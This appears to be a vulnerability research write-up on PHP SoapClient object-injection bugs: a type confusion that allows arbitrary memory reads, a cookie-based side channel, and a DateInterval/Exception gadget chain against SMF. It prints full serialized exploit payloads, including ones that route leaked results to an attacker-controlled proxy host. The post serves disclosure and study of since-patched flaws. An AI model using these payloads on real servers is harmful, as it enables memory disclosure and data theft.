Lately I have been spending some time digging into PHP, especially focusing on issues which could be used in Object Injection contexts; more specifically,for my research, I chose to target the SoapClient built-in class since it already had a past in terms of interesting findings.
For the TL;DR guys: I ended up finding an RCE+info leak, a couple of NULL pointer dereference, a memory exfiltration and sort of a trick to extend its attack surface ; all the issues have been fixed with PHP 5.6.12/5.5.28/5.4.44 relases.
This post will only cover the last twos, which despite having a less severe impact compared to the RCE, are probably more interesting to discuss from an exploitation point of view. Lastly, a little PoC demonstrating a possible attack against SMF is attached (it has to be said that Filippo and I surely had some real pain fun developing this).
update: turned out there was another possible RCE, reported and fixed in PHP 5.6.13/5.5.29/5.4.45
Sorry PHP, you are not my type
The first flaw itself was easy to spot, consisting in a type confusion in make_http_soap_request(), where elements from the data array are assumed to be strings without any type check.
if (zend_hash_find(Z_OBJPROP_P(this_ptr), "_cookies", sizeof("_cookies"), (void **)&cookies) == SUCCESS && Z_TYPE_PP(cookies) == IS_ARRAY) { ... zend_hash_get_current_data(Z_ARRVAL_PP(cookies), (void **)&data); zend_hash_get_current_key(Z_ARRVAL_PP(cookies), &key, NULL, FALSE); if (Z_TYPE_PP(data) == IS_ARRAY) { zval** value; if (zend_hash_index_find(Z_ARRVAL_PP(data), 0, (void**)&value) == SUCCESS && Z_TYPE_PP(value) == IS_STRING) { zval **tmp; if ((zend_hash_index_find(Z_ARRVAL_PP(data), 1, (void**)&tmp) == FAILURE || strncmp(phpurl->path?phpurl->path:"/",Z_STRVAL_PP(tmp),Z_STRLEN_PP(tmp)) == 0) && (zend_hash_index_find(Z_ARRVAL_PP(data), 2, (void**)&tmp) == FAILURE || in_domain(phpurl->host,Z_STRVAL_PP(tmp))) && (use_ssl || zend_hash_index_find(Z_ARRVAL_PP(data), 3, (void**)&tmp) == FAILURE)) { smart_str_appendl(&soap_headers, key, key_len-1); smart_str_appendc(&soap_headers, '='); smart_str_appendl(&soap_headers, Z_STRVAL_PP(value), Z_STRLEN_PP(value)); smart_str_appendc(&soap_headers, ';'); } } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
if (zend_hash_find(Z_OBJPROP_P(this_ptr), "_cookies", sizeof("_cookies"), (void **)&cookies) == SUCCESS && Z_TYPE_PP(cookies) == IS_ARRAY) {
...
zend_hash_get_current_data(Z_ARRVAL_PP(cookies), (void **)&data); zend_hash_get_current_key(Z_ARRVAL_PP(cookies), &key, NULL, FALSE);
if (Z_TYPE_PP(data) == IS_ARRAY) { zval** value;
if (zend_hash_index_find(Z_ARRVAL_PP(data), 0, (void**)&value) == SUCCESS && Z_TYPE_PP(value) == IS_STRING) { zval **tmp; if ((zend_hash_index_find(Z_ARRVAL_PP(data), 1, (void**)&tmp) == FAILURE || strncmp(phpurl->path?phpurl->path:"/",Z_STRVAL_PP(tmp),Z_STRLEN_PP(tmp)) == 0) && (zend_hash_index_find(Z_ARRVAL_PP(data), 2, (void**)&tmp) == FAILURE || in_domain(phpurl->host,Z_STRVAL_PP(tmp))) && (use_ssl || zend_hash_index_find(Z_ARRVAL_PP(data), 3, (void**)&tmp) == FAILURE)) { smart_str_appendl(&soap_headers, key, key_len-1); smart_str_appendc(&soap_headers, '='); smart_str_appendl(&soap_headers, Z_STRVAL_PP(value), Z_STRLEN_PP(value)); smart_str_appendc(&soap_headers, ';'); } } }
|
The code portion above, is meant to verify if the “path” and “domain” flags of a given cookie match with the same ones extracted from the url the soap request is being issued to; in case they do, the cookie is to be sent along with the request thus it’s added to soap_headers as “name=value;“.
The type confusion occurs each time tmp is accessed through one of the Z_STR*_PP macros; The data array that tmp is retrieved from comes directly from the _cookies field of the SoapClient object, which in an Object Injection scenario is something user-supplied (for the ones who are not familiar with PHP unserialization logic, this means that one is able to control also the PHP-level type of it). For example:
O:10:”SoapClient”:3:{s:3:”uri”;s:1:”a”;s:8:”location”;s:22:”http://localhost/a.xml”;s:8:”_cookies”;a:1:{s:12:”this-is-data”;a:3:{i:0;s:13:”random-string”;i:1;i:1337;i:2;O:8:”stdClass”:0:{}}}}
unserializing the payload above would result in tmp being a numeric value first and an Object then.
To better understand why such situations lead to arbitrary read memory access you should take a look at some PHP internals basics (at least the zval struct and the Z_STR* macros mentioned before), but for the sake of this post you just need to know that, when a numeric typed zval is supplied to Z_STRVAL_*, its value is dereferenced as a pointer to retrieve the string content; sticking to the previous example: memory at address 1337 would be accessed.
So read memory access, end of story right?
Well, it’s not that straightforward actually. If you paid attention enough, you may have noticed that the leaked memory content doesn’t seem to have a way to reach the attacker back: in fact, it is not added to soap_headers in any way. It only appears when evaluating the following if statements
strncmp(phpurl->path?phpurl->path:"/",Z_STRVAL_PP(tmp),Z_STRLEN_PP(tmp))
strncmp(phpurl->path?phpurl->path:"/",Z_STRVAL_PP(tmp),Z_STRLEN_PP(tmp))
|
in_domain(phpurl->host,Z_STRVAL_PP(tmp))
in_domain(phpurl->host,Z_STRVAL_PP(tmp))
|
where in_domain is defined as
static int in_domain(const char *host, const char *domain) { if (domain[0] == '.') { int l1 = strlen(host); int l2 = strlen(domain); if (l1 > l2) { return strcmp(host+l1-l2,domain) == 0; } else { return 0; } } else { return strcmp(host,domain) == 0; } }
static int in_domain(const char *host, const char *domain) { if (domain[0] == '.') { int l1 = strlen(host); int l2 = strlen(domain); if (l1 > l2) { return strcmp(host+l1-l2,domain) == 0; } else { return 0; } } else { return strcmp(host,domain) == 0; } } |
Basically two string comparisons. Good news is that phpurl, which provides host, is filled with values retrieved from our Object fields, so that in both cases also the first parameter of the comparisons is user supplied. Also, since the result of the comparisons has direct influence on the output through the cookie being sent or not, we can use it as a covert channel to deduce the content of the leaked memory portion.
To sum up: we have control over the value of the first parameter, the address of the second one and a way to get the outcome of a string comparison, thus we can:
Though, there are still some limitations we need to consider: in a numeric zval the str.len field of value (which is what Z_STRLEN_PP relies on) is always set to 0, making the strncmp() unusable (if you have some workaround it would be great if you’d ping me); we are still able to use the in_domain comparison of course, but if you look at the nature of the first parameters (path vs host), you’ll notice that path would have been much less restrictive. In fact, this is how the exploitation flow would go:
unserialize('O:10:"SoapClient":3:{s:3:"uri";s:1:"a";s:8:"location";s:22:"http://localhost/a.xml";s:8:"_cookies";a:1:{s:10:"comparison";a:3:{i:0;s:4:"true";i:1;i:1337;i:2;i;1337;}}}');
unserialize('O:10:"SoapClient":3:{s:3:"uri";s:1:"a";s:8:"location";s:22:"http://localhost/a.xml";s:8:"_cookies";a:1:{s:10:"comparison";a:3:{i:0;s:4:"true";i:1;i:1337;i:2;i;1337;}}}');
|
So first of all, location is required to be a real reachable host or the function would abort with a “Could not connect to host” soap fault; also, we need it to be under our control in order to verify the presence of the cookie indicating the result of the comparison, drastically reducing the brutable strings space.
Luckily enough, SoapClient comes with the possibility to set a proxy; this way http_connect() will work on it, while the comparison will still be performed against the location value.
unserialize('O:10:"SoapClient":5:{s:3:"uri";s:1:"a";s:8:"location";s:13:"http://SECRET";s:11:"_proxy_host";s:6:"myhost";s:11:"_proxy_port";i:8080;s:8:"_cookies";a:1:{s:10:"comparison";a:3:{i:0;s:4:"true";i:1;i:1337;i:2;i;1337;}}}');
unserialize('O:10:"SoapClient":5:{s:3:"uri";s:1:"a";s:8:"location";s:13:"http://SECRET";s:11:"_proxy_host";s:6:"myhost";s:11:"_proxy_port";i:8080;s:8:"_cookies";a:1:{s:10:"comparison";a:3:{i:0;s:4:"true";i:1;i:1337;i:2;i;1337;}}}');
|
The payload above will compare “SECRET” with the content found at address 1337, and send the request to http://myhost:8080.
Extending the attack surface
First of all, what attack surface are we talking about? As I said in the very first lines, during this research I was studying object injections, so we are mainly interested in functionalities usable as PHP gadgets.
If you reverse the code path to reach make_http_soap_call () you’ll easily end up in SoapClient’s __call magic method.
From php.net:
__call() is triggered when invoking inaccessible methods in an object context.
So, in an object injection scenario, trigger the vulnerability would require something like
$o = unserialize($tainted); $o->whatever();
$o = unserialize($tainted); $o->whatever();
|
One could surely find real cases of this kind, but we can do better: we would like to extend the vulnerability to any object injection, without any manipulation required on our input.
First thing I started looking for, was a way to get an inaccessible method called on my SoapClient object within the unserialize process. I didn’t find any builtin __wakeup() or __destruct() able to do that, but I noticed that the DateInterval ‘s __wakeup() method performed string conversions on its days and special_amount fields, resulting in potential __toString() calls in case they were supplied as objects. So I extended my research also on builtin __toString()s, which led me to find a little issue in the Exception ‘s one: when referencing the previous Exception in the stacktrace, it was only checked to be an Object typed zval, which obviously doesn’t ensure it also is an instance of the Exception class.
exception = getThis(); ZVAL_STRINGL(&fname, "gettraceasstring", sizeof("gettraceasstring")-1, 1); while (exception && Z_TYPE_P(exception) == IS_OBJECT) { ... fci.function_name = &fname; zend_call_function(&fci, NULL TSRMLS_CC); ... exception = zend_read_property(default_exception_ce, exception, "previous", sizeof("previous")-1, 0 TSRMLS_CC); ... }
exception = getThis(); ZVAL_STRINGL(&fname, "gettraceasstring", sizeof("gettraceasstring")-1, 1);
while (exception && Z_TYPE_P(exception) == IS_OBJECT) { ... fci.function_name = &fname; zend_call_function(&fci, NULL TSRMLS_CC); ... exception = zend_read_property(default_exception_ce, exception, "previous", sizeof("previous")-1, 0 TSRMLS_CC); ... }
|
Interesting part, for our purpose, is that a method is then called on it through zend_call_function; since any Object would pass the check above, we can supply our SoapClient object, which not having such getTraceAsString method, would result in __call being executed instead.
So, putting all together, this is what the final payload should look like:
O:12:”DateInterval”:1:{s:14:”special_amount”;O:9:”Exception”:1:{s:19:”[NULL-BYTE]Exception[NULL-BYTE]previous”;O:10:”SoapClient”:5:{s:3:”uri”;s:1:”a”;s:8:”location”;s:[GUESS-LEN]:”http://[GUESS]“;s:8:”_cookies”;a:1:{s:[COOKIE-NAME-LEN]:”[COOKIE-NAME]“;a:3:{i:0;s:[COOKIE-VALUE-LEN]:”[COOKIE-VALUE]“;i:1;i:[MEMORY-ADDRESS];i:2;i:[MEMORY-ADDRESS];}}s:11:”_proxy_host”;s:[ATTACKER-HOST-LEN]:”[ATTACKER-HOST]“;s:11:”_proxy_port”;i:[ATTACKER-PORT];}}}
Demo
At first, I didn’t want to include a demonstration because I don’t think this is an issue that someone is likely to exploit IRL; My buddy Filippo insisted by the way, so we started working on a real case: SMF –which surprisingly enough– still has a couple of user-controlled unserialize(), eventhough no traditional gadgets available in the codebase.
I should admit that it has been much more challenging/interesting/useful than I ever thought; we were forced to face some additional limitations imposed by the specific target, which forced us to deepen the research and improved the exploitation process a lot.
In short, the final version of the exploit is able to dump all the alphanumerical null-terminated strings in a range of n bytes starting from a given address. It also abuses the SoapClient 302 redirect handling mechanism to perform ~20 (depending on max_redirects) guesses for each request to the target page.